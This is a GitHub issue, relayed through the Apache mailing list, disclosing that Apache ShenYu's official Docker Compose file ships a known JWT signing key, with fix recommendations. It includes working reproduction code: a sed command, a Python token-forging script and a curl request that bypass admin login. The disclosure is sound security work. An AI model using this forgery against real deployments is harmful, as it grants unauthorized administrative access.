28Hus opened a new issue, #7058:
URL: https://github.com/apache/shenyu/issues/7058

   ### Is there an existing issue for this?
   
   - [x] I have searched the existing issues
   
   ### Current Behavior
   
   # Docker Compose ships a known JWT signing key, enabling Authentication 
Token forgery
   
   ## Summary
   
   The official Docker Compose distribution ships a publicly known, fixed value 
for `SHENYU_JWT_SECRETKEY`.
   
   A deployment started from this Compose file therefore uses a JWT signing key 
that is available to every repository reader. An attacker who can reach the 
ShenYu Admin service can create a valid JWT Authentication Token and bypass 
password authentication for an existing enabled dashboard user.
   
   This is separate from [#6398](https://github.com/apache/shenyu/issues/6398) 
and [#6408](https://github.com/apache/shenyu/pull/6408). PR #6408 correctly 
decoupled JWT signing from user password hashes, but the Docker Compose 
distribution still provides a known non-empty signing key.
   
   ## Relationship to #6398 and #6408
   
   The existing issue and pull request addressed a different root cause:
   
   - [Issue #6398](https://github.com/apache/shenyu/issues/6398) identified the 
reuse of a user's stored password hash as the JWT HMAC signing key. Anyone who 
obtained that hash could use it directly to sign tokens without recovering the 
original password.
   - [PR #6408](https://github.com/apache/shenyu/pull/6408), merged on August 
3, 2026, introduced `shenyu.jwt.secretKey` / `SHENYU_JWT_SECRETKEY`, updated 
both signing and verification, and added fail-fast validation for blank values 
and the legacy `defaultSecretKey` sentinel.
   
   This report is not a duplicate of #6398. The current Docker Compose file 
supplies a different, non-empty public value. Because that value is not 
rejected by the new validation, a default Compose deployment can still run with 
a signing key known to repository readers.
   
   ## Affected code
   
   The Docker Compose file injects the fixed JWT signing key:
   
   - 
[docker-compose.yaml#L46-L50](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-dist/shenyu-docker-compose-dist/src/main/resources/docker-compose.yaml#L46-L50)
   
   The startup validation rejects only an empty value and `defaultSecretKey`; 
it does not reject the Compose value:
   
   - 
[JwtProperties.java#L41-L52](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/config/properties/JwtProperties.java#L41-L52)
   
   ShenYu signs and verifies JWTs with this key using HMAC-SHA256:
   
   - 
[JwtUtils.java#L99-L120](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/utils/JwtUtils.java#L99-L120)
   
   The `userName` claim is used to recover an enabled dashboard user, and 
permissions are then resolved for that user:
   
   - 
[ShiroRealm.java#L72-L127](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/shiro/config/ShiroRealm.java#L72-L127)
   
   ## Impact
   
   An attacker does not need:
   
   - a dashboard password;
   - database access;
   - a previously issued valid token; or
   - the original JWT signing key from a secret store.
   
   The attacker only needs network access to the Admin service and the username 
of an existing enabled dashboard account.
   
   For example, if the default `admin` account exists, the attacker can create 
a JWT with:
   
   ```json
   {
     "userName": "admin",
     "exp": 1893456000
   }
   ```
   
   The forged token can then be submitted through the `X-Access-Token` header 
to protected Admin APIs such as:
   
   ```text
   GET /dashboardUser?currentPage=1&pageSize=1
   GET /plugin?currentPage=1&pageSize=10
   ```
   
   This results in authentication without performing the normal password-login 
flow.
   
   This report does not rely on public exposure of port `9095`. Public exposure 
is a separate deployment issue. The security problem is that the official 
runnable configuration accepts a signing key that is known in advance, so any 
untrusted party that can reach the Admin trust boundary can forge 
Authentication Tokens.
   
   ## Reproduction
   
   Run the official Compose distribution in a local test environment.
   
   Extract the configured key from the supplied Compose file:
   
   ```bash
   export SHENYU_JWT_SECRETKEY="$(
     sed -n 's/^[[:space:]]*-[[:space:]]*SHENYU_JWT_SECRETKEY=//p' 
docker-compose.yaml | head -1
   )"
   ```
   
   Generate a JWT for an existing enabled dashboard user:
   
   ```bash
   TOKEN="$(python3 - <<'PY'
   import os
   import time
   import jwt
   
   key = os.environ["SHENYU_JWT_SECRETKEY"]
   
   token = jwt.encode(
       {
           "userName": "admin",
           "exp": int(time.time()) + 300,
       },
       key,
       algorithm="HS256",
   )
   
   print(token)
   PY
   )"
   ```
   
   Send the token to a protected Admin endpoint:
   
   ```bash
   curl -i \
     -H "X-Access-Token: ${TOKEN}" \
     "http://127.0.0.1:9095/dashboardUser?currentPage=1&pageSize=1";
   ```
   
   Expected result: the protected request is accepted without a successful 
password login.
   
   Using an invalid signing key causes JWT verification to fail and the request 
to be rejected.
   
   ## Recommended fix
   
   1. Remove the fixed signing key from the repository.
   2. Make the Compose deployment fail unless the operator explicitly supplies 
a secret:
   
   ```yaml
   environment:
     - SHENYU_JWT_SECRETKEY=${SHENYU_JWT_SECRETKEY:?Set a unique random JWT 
signing key}
   ```
   
   3. Reject the known Compose placeholder explicitly in `JwtProperties`.
   4. Document generation of a persistent cryptographically random key.
   5. Ensure all Admin instances in a cluster use the same configured key.
   6. Add a regression test proving that the default Compose configuration 
cannot start with a known signing key.
   
   ## Related references
   
   - [Apache ShenYu issue #6398](https://github.com/apache/shenyu/issues/6398)
   - [Apache ShenYu PR #6408](https://github.com/apache/shenyu/pull/6408)
   - [Apache OFBiz security advisories](https://ofbiz.apache.org/security.html)
   - [Apache OFBiz fix removing demo secret 
keys](https://github.com/apache/ofbiz-framework/commit/6ba1356af67dbda4848f4c852b9ad8d3afb545c1)
   - [PraisonAI known JWT secret 
advisory](https://github.com/advisories/GHSA-cwj8-7gp2-ggcw)
   - [Go Restful API Boilerplate known JWT secret 
advisory](https://github.com/advisories/GHSA-mqq6-462x-jxmm)
   - [Flowise weak JWT defaults 
advisory](https://github.com/advisories/GHSA-cc4f-hjpj-g9p8)
   - [FUXA hardcoded JWT fallback 
advisory](https://github.com/advisories/GHSA-c8m8-3jcr-6rj5)
   - [LibreChat removal of published credential 
defaults](https://github.com/danny-avila/LibreChat/commit/1596df724a840f894831fc74f21de8d8df72fcb1)
   
   This report is part of my ongoing research on Authentication Token security. 
If you have any questions or would like any part of this report clarified or 
independently verified, please feel free to contact me at any time. I would be 
very pleased to make a small contribution to improving Apache ShenYu’s security.
   
   
   ### Expected Behavior
   
   _No response_
   
   ### Steps To Reproduce
   
   _No response_
   
   ### Environment
   
   ```markdown
   ShenYu version(s):
   ```
   
   ### Debug logs
   
   _No response_
   
   ### Anything else?
   
   _No response_


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]

Reply via email to